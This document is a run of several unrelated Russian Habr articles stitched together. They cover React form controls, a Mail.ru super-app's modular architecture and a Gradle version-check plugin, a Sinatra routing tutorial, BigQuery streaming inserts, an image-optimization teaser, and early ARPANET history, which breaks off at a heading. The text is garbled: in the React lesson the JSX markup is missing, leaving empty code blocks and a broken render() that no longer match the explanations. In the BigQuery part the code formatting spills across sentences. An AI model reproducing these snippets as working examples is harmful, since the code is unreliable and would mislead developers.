→ [Часть 1: обзор курса, причины популярности React, ReactDOM и JSX](https://habr.com/post/432636/)
→ [Часть 2: функциональные компоненты](https://habr.com/post/433400/)
→ [Часть 3: файлы компонентов, структура проектов](https://habr.com/post/433404/)
→ [Часть 4: родительские и дочерние компоненты](https://habr.com/company/ruvds/blog/434118/)
→ [Часть 5: начало работы над TODO-приложением, основы стилизации](https://habr.com/company/ruvds/blog/434120/)
→ [Часть 6: о некоторых особенностях курса, JSX и JavaScript](https://habr.com/company/ruvds/blog/435466/)
→ [Часть 7: встроенные стили](https://habr.com/company/ruvds/blog/435468/)
→ [Часть 8: продолжение работы над TODO-приложением, знакомство со свойствами компонентов](https://habr.com/company/ruvds/blog/435470/)
→ [Часть 9: свойства компонентов](https://habr.com/company/ruvds/blog/436032/)
→ [Часть 10: практикум по работе со свойствами компонентов и стилизации](https://habr.com/company/ruvds/blog/436890/)
→ [Часть 11: динамическое формирование разметки и метод массивов map](https://habr.com/company/ruvds/blog/436892/)
→ [Часть 12: практикум, третий этап работы над TODO-приложением](https://habr.com/company/ruvds/blog/437988/)
→ [Часть 13: компоненты, основанные на классах](https://habr.com/ru/company/ruvds/blog/437990/)
→ [Часть 14: практикум по компонентам, основанным на классах, состояние компонентов](https://habr.com/ru/company/ruvds/blog/438986/)
→ [Часть 15: практикумы по работе с состоянием компонентов](https://habr.com/ru/company/ruvds/blog/438988/)
→ [Часть 16: четвёртый этап работы над TODO-приложением, обработка событий](https://habr.com/ru/company/ruvds/blog/439982/)
→ [Часть 17: пятый этап работы над TODO-приложением, модификация состояния компонентов](https://habr.com/ru/company/ruvds/blog/439984/)
→ [Часть 18: шестой этап работы над TODO-приложением](https://habr.com/ru/company/ruvds/blog/440662/)
→ [Часть 19: методы жизненного цикла компонентов](https://habr.com/ru/company/ruvds/blog/441578/)
→ [Часть 20: первое занятие по условному рендерингу](https://habr.com/ru/company/ruvds/blog/441580/)
→ [Часть 21: второе занятие и практикум по условному рендерингу](https://habr.com/ru/company/ruvds/blog/443210/)
→ [Часть 22: седьмой этап работы над TODO-приложением, загрузка данных из внешних источников](https://habr.com/ru/company/ruvds/blog/443212/)
→ [Часть 23: первое занятие по работе с формами](https://habr.com/ru/company/ruvds/blog/443214/)
→ [Часть 24: второе занятие по работе с формами](https://habr.com/ru/company/ruvds/blog/444356/)
→ [Часть 25: практикум по работе с формами](https://habr.com/ru/company/ruvds/blog/446208/)
→ [Часть 26: архитектура приложений, паттерн Container/Component](https://habr.com/ru/company/ruvds/blog/446206/)
→ [Часть 27: курсовой проект](https://habr.com/ru/company/ruvds/blog/447136/)
Занятие 42. Работа с формами, часть 2
-------------------------------------
→ [Оригинал](https://scrimba.com/p/p7P5Hd/cGKqZUQ)
На этом занятии мы поговорим о полях для ввода многострочного текста, о флажках, о переключателях (их ещё называют «радиокнопками») и о полях со списками. К настоящему моменту мы рассмотрели лишь работу с обычными текстовыми полями ввода.
Вот код компонента `App`, с которого мы начнём сегодняшние эксперименты:
```
import React, {Component} from "react"
class App extends Component {
constructor() {
super()
this.state = {
firstName: "",
lastName: ""
}
this.handleChange = this.handleChange.bind(this)
}
handleChange(event) {
const {name, value} = event.target
this.setState({
[name]: value
})
}
render() {
return (
{
/\*\*
\* Другие полезные элементы форм:
\*
\*
\*
\*
\* и
\*/
}
{this.state.firstName} {this.state.lastName}
============================================
)
}
}
export default App
```
Вот как выглядит страница приложения в браузере на данном этапе работы.
*Страница приложения в браузере*
Формы обычно содержат в себе не только поля, в которые вводят короткие строки. При оснащении форм другими элементами работа с ними в React немного усложняется, хотя ничего особенного в этом нет.
В вышеприведённом коде есть закомментированный фрагмент, в котором перечислены элементы, о которых мы будем говорить. Начнём с поля для ввода многострочного текста — элемента `textarea`. Вероятно, понять то, как с ним работать, легче всего. Если вы раньше, строя обычные HTML-формы, уже пользовались этим элементом, вы знаете, что это — не самозакрывающийся тег, как было в случае с элементом `input`. У него есть открывающая и закрывающая части.
Добавим на форму этот элемент, вставив, сразу после комментария, следующий код:
```
```
Если теперь взглянуть на страницу приложения, то можно видеть, как на ней появилось поле для ввода многострочного текста.
*Поле для ввода текста на странице*
Как видно, это поле немного выше обычных полей, пользователь может менять его размеры, пользуясь маркером в его правой нижней части. Благодаря атрибутам `rows` и `cols` можно, при описании этого элемента, указывать его размеры. В обычном HTML, если нужно, чтобы после вывода этого поля в нём уже был какой-то текст, делается это путём ввода нужного текста между открывающим и закрывающим тегами элемента. В React работа с такими элементами сделана максимально похожей на работу с элементами `input`, о которых мы говорили в прошлый раз. А именно, в React тег `textarea` является самозакрывающимся. То есть код для вывода поля на страницу можно изменить следующим образом:
В этом теге можно использовать атрибут `value`, причём, работа с ним осуществляется точно так же, как и с таким же атрибутом обычных текстовых полей. Благодаря этому достигается единообразие в работе с разными элементами, и, кроме того, облегчается обновление содержимого полей путём обновления свойств состояния, привязанных к таким полям. Приведём состояние кода поля к такому виду:
Это приведёт к тому, что указанный текст появится в поле при выводе его на страницу.
*Текст, появившийся в поле*
К работе с полем для ввода многострочного текста мы ещё вернёмся, а пока поговорим о флажках. Флажок — это элемент управления `input`, в качестве типа которого указан `checkbox`. Вот как выглядит его описание:
Вот как выглядит флажок, описанный этой разметкой, на странице.
*Флажок*
Основной особенностью этого элемента управления является тот факт, что при работе с ним не используется атрибут `value`. Его применяют для того, чтобы предоставить пользователю выбор их неких двух вариантов, один из которых соответствует установленному флажку, а другой — снятому. Для отслеживания того, установлен флажок или снят, используется атрибут `checked`, который описывается логическим значением. В результате флажкам обычно соответствуют логические свойства, хранящиеся в состоянии.
Приведём состояние компонента к такому виду:
```
this.state = {
firstName: "",
lastName: "",
isFriendly: true
}
```
Код описания флажка изменим следующим образом:
После этого на страницу будет выведен установленный флажок.
*Установленный флажок*
Правда, сейчас он не будет реагировать на щелчки по нему. Дело в том, что флажок привязан к соответствующей переменной, хранящейся в состоянии, в результате при попытке, в нашем случае, снять его, React, проверяя состояние, и обнаруживая, что свойство `isFriendly` установлено в `true`, не даёт этого сделать. При этом в консоль будет выводиться предупреждение о том, что мы не предусмотрели механизм изменения поля (обработчик события `onChange`) и оно выведено в состоянии «только для чтения».
*Предупреждение в консоли*
Мы вполне можем написать особый метод для работы с флажком, но в коде нашего компонента уже есть метод `handleChange()`. Сейчас он используется для работы с текстовыми полями. Подумаем о том, как воспользоваться им и для работы с флажком. Для этого сначала назначим вышеуказанный метод в качестве обработчика события `onChange` флажка и назначим флажку имя, соответствующее имени свойства состояния, относящегося к флажку. Кроме того, подпишем флажок, воспользовавшись тегом `label`:
```
Is friendly?
```
В методе `handleChange()`, код которого показан ниже, мы, при работе с текстовыми полями, выясняли имя элемента (`name`) и его содержимое (`value`), после чего обновляли состояние, записывая в него то, что было у поля с определённым именем в его атрибуте `value`:
```
handleChange(event) {
const {name, value} = event.target
this.setState({
[name]: value
})
}
```
Теперь нам нужно разобраться с тем, как быть с флажком, атрибута `value` у которого нет. У него есть лишь атрибут `checked`, который может принимать только значения `true` или `false`. В результате нам, для того чтобы использовать метод `handleChange()` для работы с флажком, нужно проверить, является ли элемент, для которого вызван этот обработчик, флажком. Для того чтобы выполнить эту проверку — вспомним, что в качестве типа (`type`) элемента `input`, представляющего флажок, задано значение `checkbox`. Для того чтобы проверить это значение, можно обратиться к свойству `type` элемента `event.target`. Извлечём это свойство из `event.target`, а также — свойство `checked`, воспользовавшись следующей конструкцией:
```
const {name, value, type, checked} = event.target
```
Теперь мы можем проверить значение константы `type` и выяснить, является ли элемент, для которого вызван обработчик события, флажком. Если это так — мы запишем в состояние то, что оказалось в константе `checked`. Не забудем при этом сохранить код, ответственный за работу с текстовыми полями. В результате код `handleChange()` приобретёт следующий вид:
```
handleChange(event) {
const {name, value, type, checked} = event.target
type === "checkbox" ? this.setState({ [name]: checked }) : this.setState({ [name]: value })
}
```
После этого проверим работу флажка.
*Проверка работы флажка*
Как видно, теперь его можно снимать и устанавливать. При этом работа текстовых полей не нарушена. Из консоли исчезло уведомление, касающееся флажка, но там выводится уведомление, касающееся поля для ввода многострочного текста. Изменим код, описывающий это поле, следующим образом:
Это приведёт к исчезновению уведомления, хотя другие механизмы, позволяющие работать с этим полем средствами компонента, мы не реализовали (не указали имя для поля, не добавили в состояние соответствующее свойство). Вы можете реализовать эти возможности самостоятельно. Теперь поговорим о переключателях.
Их можно представить в виде комбинации элементов `input` типов `text` и `checkbox`. Здесь имеется в виду то, что у переключателей есть и атрибут `value`, и атрибут `checked`. Добавим в нашу форму пару переключателей, создав их код на основе кода описания флажка. Вот как это выглядит:
```
Male
Female
```
Мы создали этот код на основе кода описания флажка и кое-что ещё не отредактировали. Поэтому переключатели странно себя ведут. В частности, если флажок снят, то и тот и другой переключатели находятся в «выключенном» состоянии, а если установить флажок — один из них оказывается «включенным». Подобные ошибки можно предупредить, внимательно относясь к коду элементов в том случае, если он создаётся на основе кода уже существующих элементов. Сейчас мы это исправим.
Обратите внимание на то, что у этих двух элементов одно и то же имя — `gender`. Переключатели с одним и тем же именем формируют группу. Выбранным может быть лишь один переключатель, входящий в такую группу.
При настройке переключателей нельзя просто указать на то, что их значение `checked` устанавливается, скажем, в `true`, если некое свойство состояния равняется `true`. Переключатели должны поддерживать синхронизированное, в пределах группы, изменение собственного состояния. Вместо этого значение `checked` переключателей устанавливается по условию. Это условие в нашем случае будет представлено сравнением свойства состояния `this.state.gender` со строкой `male` или `female`. В коде описания переключателей это выглядит так:
```
Male
Female
```
Теперь добавим в состояние новое свойство, `gender`, инициализировав его пустой строкой:
```
this.state = {
firstName: "",
lastName: "",
isFriendly: false,
gender: ""
}
```
После этого переключатели будут работать независимо от флажка. Добавим в код, выводимый компонентом, заголовок второго уровня, выводящий сведения о том, какой именно переключатель выбран:
```
You are a {this.state.gender}
-----------------------------
```
Тут, вероятно, стоит внедрить некий механизм условного рендеринга. Это позволит, при открытии страницы, когда ни один из переключателей не выбран, сделать так, чтобы на ней не выводился бы текст `You are a`, но мы этого делать не будем, хотя вы вполне можете реализовать это самостоятельно. Взглянем теперь на то, что у нас получилось.
*Переключатели на странице приложения*
Всё то, о чём мы тут говорили, может показаться достаточно сложным. В частности, это касается запоминания особенностей разных элементов управления. Для того чтобы упростить работу с формами, можно применять специализированные библиотеки. Например — библиотеку [formik](https://github.com/jaredpalmer/formik). Эта библиотека значительно упрощает процесс разработки форм в React-приложениях.
Теперь поговорим о полях со списками.
В обычном HTML при описании полей со списком используются такие конструкции:
```
```
В React применяется похожий подход, хотя, как и в случае с другими элементами, используется атрибут `value`. Это позволяет легко выяснить то, какой именно элемент списка выбран, и, кроме того, это облегчает работу с состоянием компонента.
Предположим, мы хотим создать поле со списком, позволяющее пользователю выбирать его любимый цвет. Для этого в атрибут `value` элемента `select` можно поместить следующую конструкцию: `value={this.state.favColor}`. Сюда будут попадать те значения, которые будет выбирать пользователь. Теперь добавим `favColor` в состояние:
```
this.state = {
firstName: "",
lastName: "",
isFriendly: false,
gender: "",
favColor: "blue"
}
```
Далее, оснастим поле со списком обработчиком события `onChange` и дадим ему имя. Также назначим значения `value` элементам `options` поля со списком и введём текст, который будет выводиться в поле.
Вот как выглядит настроенный элемент `select` с подписью:
```
Favorite Color:
Blue
Green
Red
Orange
Yellow
```
Теперь добавим в форму ещё одну надпись, выводящую любимый цвет пользователя:
```
Your favorite color is {this.state.favColor}
--------------------------------------------
```
Пришло время испытать поле со списком.
*Поле со списком*
Как видно, хотя наша форма и не блещет изысками дизайна, элементы управления, размещённые на ней, работают так, как ожидается.
Благодаря тому, как в React организованы API элементов управления, несложно сделать так, чтобы для обработки их событий применялся бы один и тот же обработчик. Именно такая схема работы используется и в нашем случае. Единственная особенность нашего обработчика `handleChange()` заключается в том, что нам приходится по-особенному обрабатывать события флажка.
Теперь поговорим об отправке формы или об обработке введённых в неё значений после завершения её заполнения. Можно выделить два подхода к выполнению подобных действий. При применении любого из них форму стоит оснастить кнопкой:
```
Submit
```
В HTML5, если в форме будет найден элемент `button`, он будет действовать как старый элемент `input` с типом `submit`. Если по этой кнопке щёлкнуть — будет вызвано событие самой формы `onSubmit`. Если нужно что-то сделать после завершения заполнения формы, можно добавить обработчик события `onClick` к кнопке, но, например, лично я предпочитаю обрабатывать подобные события на уровне формы, назначая ей обработчик события `onSubmit`:
Метод, используемый в качестве обработчика этого события, ещё не написан. Это — обычный обработчик события, который, например, обращаясь к некоему API, передаёт ему данные формы.
Итоги
-----
На этом занятии мы завершаем разговор о работе с формами в React. В следующий раз вас ждёт практическая работа по этой теме.
**Уважаемые читатели!** Если вы пробовали использовать библиотеку formik для создания форм в React — просим об этом рассказать.
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/444356/ | null | ru | null |
# Как мы делали суперприложение на основе Почты
Совсем скоро, 3 и 4 сентября в VK пройдёт новый Weekend Offer. В нём будет участвовать и наша команда — мы создаём суперприложение на основе почтового клиента [Mail.ru](http://Mail.ru). Хотим подробнее рассказать об этом проекте и о задачах, которые нужно будет решать нашим будущим коллегам :)
Год назад бизнес поставил нам задачу: интегрировать в приложение несколько других сервисов компании, чтобы пользователи могли одним нажатием переходить из сервиса в сервис. Ну, вы и сами знаете, для чего нужны суперы — для развития экосистемы и конкретных продуктов. И спустя два месяца мы запустили в эксплуатацию суперприложение на основе почтового клиента [Mail.Ru](http://Mail.Ru).
### Архитектура
Интегрировать в суперприложение нужно было Облако, Марусю, Новости, Календарь и Задачи, а заодно требовалось создать техническую основу, позволяющую легко и быстро добавлять новые сервисы, как вставить вилку в розетку. Архитектурно мы отказались от конкретного приложения-ядра, и решили сделать так, чтобы хостом суперприложения мог стать любой из мобильных клиентов сервисов.
С точки зрения разработчиков мы хотели сделать универсальный механизм интеграции, чтобы авторам хоста и подключаемых сервисов не нужно было разбираться в устройстве продуктов друг друга, достаточно соответствовать общему набору правил. Задача осложнялась тем, что подключаемые к суперприложению сервисы имели разную реализацию. Кто-то предоставлял готовое SDK (Маруся и Пульс) и достаточно было просто встроить его; какие-то сервисы пришлось подключать через WebView (Календарь и Задачи); а кому-то пришлось писать код с нуля, чтобы интегрироваться в суперприложение (Облако).
Мы пришли к единому интерфейсу адаптера для всех сервисов, который необходимо реализовать, чтобы вкладка появилась в нашем приложении.
#### Модули
Для перехода на новую архитектуру мы реализовали хост-портал и подключаемые сервисы в виде модулей. В какой-то момент мы вспомнили, что сервисы могут вызывать функции других сервисов. Например, Облако может открыть форму написания электронного письма и приложить к нему какой-нибудь файл. Поэтому сделали отдельными модулями реализации интерфейсов, а позднее — модули с самими интерфейсами.
#### White label
Также мы подумали о том, что не всем брендам компании могут быть нужны все сервисы, и придумали механизм выборочного исключения из приложения кода определённых вкладок. Для брендов по-отдельности регистрируем поддерживаемые его сервисом функции, и каждый модуль сервиса ссылается только на API-модули и запрашивает доступность определённых функций. Если какая-то функция недоступна, то приложение не показывает соответствующие элементы интерфейса — кнопки, формы и т.д. Например, если в суперприложении не будет вкладки Облака, то не получится приложить облачный файл в форме написания письма в Почте.
#### Вкладки и фоновые сервисы
Сначала мы считали, что каждый новый сервис будет отображаться в интерфейсе в виде отдельной вкладки. Но потом поняли, что некоторым сервисам вкладка не нужна, они должны работать в фоновом режиме. Самый яркий пример — поиск, это тоже отдельный сервис, но он интегрируется во вкладки других сервисов и не имеет собственной. Пришлось немного переделать интерфейс адаптера.
При переключении вкладок мы не просто подставляем экраны, но и меняем содержимое общих компонентов — верхней и нижней панели: меняется доступный набор действий. То есть в зависимости от выбранного сервиса меняется глобальный контекст суперприложения. Фоновые сервисы этот механизм не используют.
### Приоритизация
Чтобы сохранить высокую работоспособность приложения, мы не могли держать в памяти сразу все сервисы. Поэтому придумали систему приоритизирования вкладок: каждому сервису мы вручную выставляем приоритет, и если пользователь переходит с низкоприоритетной вкладки на высокоприоритетную, а затем с неё опять на высокоприоритетную, то мы выгружаем из памяти сервис с низким приоритетом.
### Навигация
Выше мы упомянули, что вкладки взаимодействуют друг с другом с помощью API. Но есть и второй механизм — переход по ссылкам, deep link-ам. Он предназначен для навигации пользователей между сервисами. Мы придумали формат ссылок, который должны поддерживать все вкладки, и каждая из них может запросить переход по такой ссылке. Тогда суперприложение открывает экран целевого сервиса и, при необходимости, запускает запрошенную функцию. Например, если вы выберете в Облаке файл и нажмёте кнопку «Отправить в письме», то через deep link Облако обратится к Почте, программа откроет форму написания и прикрепит выбранный файл.
Ещё на основе deep link-ов работают кнопки в push-уведомлениях, чтобы можно было прямо из сообщения одним нажатием перейти в соответствующий сервис и запустить фичу.
### Работа с зависимостями
В работе мы столкнулись с тем, что все вкладки так или иначе используют общие библиотеки, у которых могут быть разные версии. Иногда возникали несовместимости: какая-нибудь вкладка обновляла внутри себя некую библиотеку, и в результате приложение могло не собраться, либо в runtime могли возникнуть ошибки. Мы решили это с помощью самописного Gradle-плагина, который валидирует версии зависимостей при сборке проекта (включая транзитивные зависимости). У нас имеется эталонный каталог с заданными версиями зависимостей, с которыми приложение работает стабильно. При сборке приложения плагин проверяет, что в итоговую сборку не попали зависимости с версией выше указанной в каталоге. Если такие зависимости будут обнаружены, то сборка завершится с ошибкой. Внедрение плагина позволило нам контролировать обновления библиотек и избежать неявного поднятия их версии.
Плагин проверяет каждую зависимость:
```
class DependenciesPlugin: Plugin {
override fun apply(project: Project) {
project.configurations.all { action ->
action.resolutionStrategy.eachDependency { rule ->
MailResolveStrategy.verifyDependency(rule)
}
}
}
}
```
Валидация заключается в поиске эталонной версии в каталоге и сравнении её с текущей версией. Если текущая версия выше, то бросаем исключение.
```
@JvmStatic
fun verifyDependency(details: DependencyResolveDetails) {
val group = details.requested.group
val name = details.requested.name
val currentVersion: String? = details.requested.version
val catalogVersion: VersionNumber? = findInCatalog(group, name)?.version
if (currentVersion != null && catalogVersion != null) {
val moreRecent = maxOf(VersionNumber.parse(currentVersion), catalogVersion)
if (moreRecent != catalogVersion) {
val msg = "$group:$name with version $currentVersion is not allowed " +
"because its version is greater than version $catalogVersion from the catalog."
throw RuntimeException(msg)
}
}
}
```
### Аналитика
Сейчас мы централизованно собираем телеметрию со всех вкладок, а авторы хост-приложения выбирают, в каком приложении анализировать собранные данные. Так в разы проще, чем собирать отдельно с каждой вкладки и слать в разные инструменты.
Что мы уже выяснили по результатам анализа метрик? Самое главное — пользователи, активировавшие новую версию, остаются на ней, и частота их взаимодействия с продуктом растёт. Судя по опросам, новинка людям понравилась. Опросы подтвердили удовлетворённость обновлением. После запуска супераппа использование не-почтовых сервисов в приложении выросло более чем в 10 раз.
\* \* \*
Друзья, мы приглашаем Android-разработчиков в нашу команду, работы много — нужно развивать и расширять наше суперприложение. [Записывайтесь](https://team.vk.company/pochtaoffer/) на Weekend Offer, который пройдёт 3 и 4 сентября, и до скорой встречи! | https://habr.com/ru/post/684108/ | null | ru | null |
# Поём вместе с Sinatra. Часть первая. Первое знакомство
Доброго времени суток!
#### Что такое Sinatra
**Sinatra** — маленький, но довольно интересный DSL (Domain-specific language) фреймворк, написанный на Ruby. В отличие от Ruby on Rails он не следует типичному паттерну MVC (Model — View — Controlller). Sinatra создавался для того, чтобы «программист смог быстро создать веб приложение, написанное на Ruby с минимальными усилиями.
Для того, чтобы воспользоваться Sinatra нам неорбходимо его установить. Сделать это можно следующей командой в RubyGems:
**gem install sinatra**
Также нам понадобится гем под названием **Shotgun**. Нужен он нам для того, чтобы лишний раз не перезагружать сервер вручную. Shotgun сделает это за нас. Давайте установим его:
**gem install shotgun**
Ну вот и всё! Всё необходимое для работы у нас есть. Настал момент для творчества. Приступим…
#### Hello, Sinatra!
А напишем мы простенькое приложение, которое приветствует само себя. Искренне надеюсь, что Фрэнк не перевернётся в гробу. Итак, вот оно, наше приложение:
```
require "sinatra"
get "/" do
"Hello, Sinatra!"
end
```
Осталось только запустить сервер. Сделать это можно набрав следующую команду:
**ruby -rubygems path\_to\_file\app.rb**
Теперь мы можем открыть браузер. В омнибокс необходимо набрать адрес **localhost:4567**. Вуаля!
Поздравляю! Только что мы написали первое веб приложение с помощью Sinatra.
#### Разбор полётов
Несмотря на то, что это был простейший пример, не мешало бы разобраться что выполняет наш код.
С начала хотелось заметить, что при разработке веб приложений я использую Ruby версии 1.9. В случае, если вы используете версию 1.8., вам необходимо добавить ещё одну строчку в ваш код. Вот она:
```
require "rubygems"
```
Двигаемся дальше. Мы говорим нашему приложению, что если пользователь в адресной строке вбивает адрес нашего сайта, то он попадает именно на эту страницу, т.е. на главную, где мы приветствуем Фрэнка. В случае, если пользователь указывает в адресной строке, например, **/about**, то ему выдаётся следующая ошибка:
Давайте же обработаем ошибку **Not Found**. Сделать это можно следующим способом:
```
not_found do
status 404
"Something wrong! Try to type URL correctly or call to UFO."
end
```
Теперь наберём в адресной строке **localhost:4567/about** и увидим нашу с вами страничку, которая сообщает пользователю о том, что случилось что-то не то.
#### Hello, %username%
Пора бы вспомнить о том, что мы познакомились с Фрэнком, а он с нами нет. Не дай Бог, конечно. Но заставить наш браузер поприветствовать нас мы можем. Сделать это можно с помощью параметра *name*. Его обработка будет выглядеть так:
```
get "/hello/:name" do
"Hello, #{params[:name]}."
end
```
Осталось лишь набрать **localhost:4567/hello/your\_name** и вы увидите приветствие в ваш адрес. Вот, например:
#### Я там, где ты
Именно этим выражением мы можем охарактеризовать ситуацию, когда нам необходимо, например, отдавать пользователю лишь одну страничку, но вне зависимости от того, какой адрес он наберёт. Делается это путём указания звёздочки после слэша. Вот так:
```
get "/*" do
"It's the main page of this site you can see right now!"
end
```
Теперь куда бы вы не хотели попасть, вы будете видеть одну и ту же страницу. Кстати, вот и она:
Значение параметра, заданного в URI мы можем получить с помощью аттрибута *splat*. Вот так вот:
```
get "/*" do
"I don't know what is the #{params[:splat]}. It's what you typed."
end
```
Вуаля! Чтобы мы не набрали в адресной строке, а увидим набранный URI.
#### Заключение
Вот и всё на сегодня. Несмотря на размер топика, мы разобрали некоторые схемы роутинга в Sinatra. Надеюсь, что он пробудит в вас желание побыстрее познакомиться с этим фреймворком, который позволяет писать веб-приложения с невиданной скоростью. Это лишь отправная точка и не более.
#### Куда двигаться дальше
[Введение в Sinatra](http://www.sinatrarb.com/intro-ru.html).
[Официальный сайт Sinatra](http://www.sinatrarb.com).
[Singing with Sinatra](http://net.tutsplus.com/tutorials/ruby/singing-with-sinatra/). | https://habr.com/ru/post/138571/ | null | ru | null |
# BigQuery с функцией анализа данных – теперь и в режиме реального времени
Коммерческие предприятия постоянно получают огромные объемы данных от сетевых приложений, совершающих множество транзакций, обслуживающих миллионы людей и постоянно растущее число подключенных устройств. Важнейшее условие сохранения конкурентоспособности — способность быстро реагировать на изменения в этих данных. В то же время, компании занимаются сбором, хранением и анализом больших объемов информации, иногда сотен гигабайт в день, используя системы, которые просто не способны справиться с подобным темпом работы.
Мы создали BigQuery, чтобы помочь коммерческим предприятиям справиться с этой проблемой без необходимости инвестировать в сложное дорогостоящее оборудование. Представляем две новые функции, которые смогут упростить их задачу.
##### Потоковая передача данных в режиме реального времени
Теперь вы можете передавать данные запись за записью с помощью простого API-вызова — `tabledata().insertAll()`. Это позволит вам загружать их по мере поступления вместо того, чтобы создавать и содержать системы для кэширования и последующей передачи данных сериями. А самое главное состоит в том, что данные *немедленно* становятся доступными для анализа.
Использовать [потоковую передачу данных в BigQuery](https://developers.google.com/bigquery/streaming-data-into-bigquery) легко. Так выглядит пример для Python:
```
body = {"rows":[
{"json": {"column_name":7.7,}}
]}
response = bigquery.tabledata().insertAll(
projectId=PROJECT_ID,
datasetId=DATASET_ID,
tableId=TABLE_ID,
body=body).execute()
```
Возможность потоковой передачи данных предоставляется бесплатно на протяжении ознакомительного периода до 1 января 2014 года. После этого за предоставление услуги будет взиматься плата в размере 1 цента за 10 тыс. введенных записей. Существующая пакетная система ввода данных останется бесплатной.
##### Анализ подмножества таблицы
Стало возможно выборочно анализировать определенные подмножества таблицы, используя простой новый модификатор ``@ в SQL запросах. Несмотря на то, что функция применима лишь к данным, добавленным за последние 24 часа, она предоставляет дополнительные преимущества. Например, используя ее совместно с функцией потоковой передачи данных в режиме реального времени, вы сможете использовать декораторы таблиц для отслеживания последних 30 минут активности пользователей после запуска новой версии вашего приложения.
Кроме того, мы расширили функционал рабочего окна BigQuery по просьбе многих клиентов, добавив в него статистические функции SUM(), COUNT(), AVG(), MIN(), MAX(), FIRST_VALUE и LAST_VALUE()`, а также стандартные аналитические функции для расчета корреляций и стандартного отклонения `COVAR_POP(), COVAR_SAMP(), STDDEV_POP(), STDDEV_SAMP(), VAR_POP() и VAR_SAMP()`.
Для повышения производительности и удобства применения BigQuery были внесены многочисленные изменения в пользовательский интерфейс, в том числе была расширена информационная панель, появляющаяся при выполнении запроса, а также добавлены кнопки выполнения действий в нижней части окна запроса — все это призвано облегчить редактирование, выполнение и сохранение запроса, а также отображение результатов.
*Расширенная информационная панель отображает подробную информацию о запросе*
Более подробную информацию о новых возможностях сервиса и примеры использования можно получить в [Блоге разработчиков](http://googledevelopers.blogspot.ru/2013/09/google-bigquery-goes-real-time-with.html) и [обновленной документации](https://devsite.googleplex.com/bigquery/streaming-data-into-bigquery).
Мы с нетерпением ожидаем ваших отзывов о работе с новыми функциями BigQuery — о потоковой передаче данных, полученных от приложений, а также о возможности анализа поведения пользователя в режиме реального времени. Мы надеемся, что вы поделитесь своими мнениями с сообществом на Google+, воспользовавшись хэштегом #[BigQuery](https://plus.google.com/s/%23BigQuery).` | https://habr.com/ru/post/194950/ | null | ru | null |
# Оптимизация изображений, часть 5: AlphaImageLoader
*Примечание: ниже перевод очередной заметки [«Image Optimization, Part 5: AlphaImageLoader»](http://yuiblog.com/blog/2008/12/08/imageopt-5/) из блога [YUI](http://yuiblog.com/blog/). Stoyan Stefanov на этот раз рассказывает о тонкостях применения фильтра `AlphaImageLoader` для IE. Мои комментарии далее курсивом.*
Это пятая часть серии статей про оптимизацию изображений. С предыдущими частями можно ознакомиться по адресу:
* [Image Optimization Part 1: The Importance of Images](http://yuiblog.com/blog/2008/10/29/imageopt-1/)
* [Image Optimization Part 2: Selecting the Right File Format](http://yuiblog.com/blog/2008/11/04/imageopt-2/)
* [4 шага для уменьшения размера файлов](http://webo.in/articles/habrahabr/69-total-image-optimization/)
* [Последовательные JPEG — Быть или не быть?](http://webo.in/articles/habrahabr/73-jpeg-baseline-progressive)
Данная статья из серии, посвященной оптимизации изображений, рассказывает о технике, доступной только в IE, — CSS-фильтре AlphaImageLoader, — который используется разработчиками для решения проблем с прозрачностью для полноцветных PNG-изображений в IE. Основная проблема с `AlphaImageLoader` заключается в том, что он влияет на производительность страницы, и тем самым ухудшает пользовательское восприятие. Я утверждаю, что стоит избегать использования `AlphaImageLoader` во всех возможных случаях.
### Маленький экскурс
Как было сказано в [одной из предыдущих статей](http://yuiblog.com/blog/2008/11/04/imageopt-2/), [PNG](http://en.wikipedia.org/wiki/Portable_Network_Graphics) могут быть нескольких видов, которые могут быть разделены на 2 основных:
* Индексированные (палитра), их также называют PNG8, можно использовать до 256 цветов.
* Полноцветные PNG, которые также называют PNG32 или PNG24.
[Читать дальше на webo.in →](http://webo.in/articles/habrahabr/75-png-alphaimageloader/) | https://habr.com/ru/post/47540/ | null | ru | null |
# Как развивалась система доменных имен: эра ARPANET
Свое начало система доменных имен берет в 50-х — 60-х годах прошлого века. Тогда она помогла упростить адресацию хостов в сети ARPANET и очень быстро перешла от обслуживания сотен компьютеров к работе с сотнями миллионов. Рассказываем, с чего начиналась DNS.
[](https://habr.com/ru/company/1cloud/blog/479452/)
*Фото — [Andrew Hart](https://www.flickr.com/photos/andrewfhart/8106199622/) — CC BY-SA*
Появление ARPANET
-----------------
В 1958 году правительство США основало Агентство передовых исследовательских проектов (ARPA). Усилия организации направили на разработку технологий в сфере хранения и передачи данных. В 60-х годах агентство получило новое аппаратное обеспечение — компьютер [Q-32](https://en.wikipedia.org/wiki/AN/FSQ-32) — одну из крупнейших вычислительных систем на транзисторах весом более 60 тонн. Она имела сразу два запоминающих устройства на магнитных барабанах, каждое из которых считывало и записывало по 50 бит информации. В то время Q-32 использовали для решения задач Министерства обороны США.
Тогда данные между вычислительными системами переносили с помощью перфокарт, что существенно усложняло и замедляло расчёты. Поиск нового решения военные доверили агентству ARPA в 1968 году. Его инженеры объединились с коллегами из MIT и [разработали](https://www.cloudns.net/blog/dns-history-creation-first/) протокол пакетной коммутации. С его помощью они «[связали](https://technicshistory.com/2019/05/08/arpanet-part-1-the-inception/)» Q-32 с университетской [машиной TX-2](https://ru.wikipedia.org/wiki/TX-2) (именно на ней пионер интернета Айвен Сазерленд написал Sketchpad — прародителя современных CAD).
Протокол совершенствовали всю первую половину 1969 года. Специалисты работали над уровнями взаимодействия компьютеров в сети: аппаратным, программным и модемным. Во второй половине года [провели](https://ru.wikipedia.org/wiki/ARPANET) первое испытание технологии. Сеть состояла из двух терминалов, установленных на расстоянии 600 км в Калифорнийском и Стэнфордском университетах. В качестве терминалов выступили 16-разрядные мини-компьютеры Honeywell DDP-316 с 12 [кибибайтами](https://ru.wikipedia.org/wiki/%D0%9A%D0%B8%D0%B1%D0%B8%D0%B1%D0%B0%D0%B9%D1%82) оперативной памяти. Во время теста первый оператор вводил слово login на одной машине, а второй подтверждал, что видит его на экране другой. Эксперимент прошел удачно, положив начало сети ARPANET.
Проблема адресации в сети
-------------------------
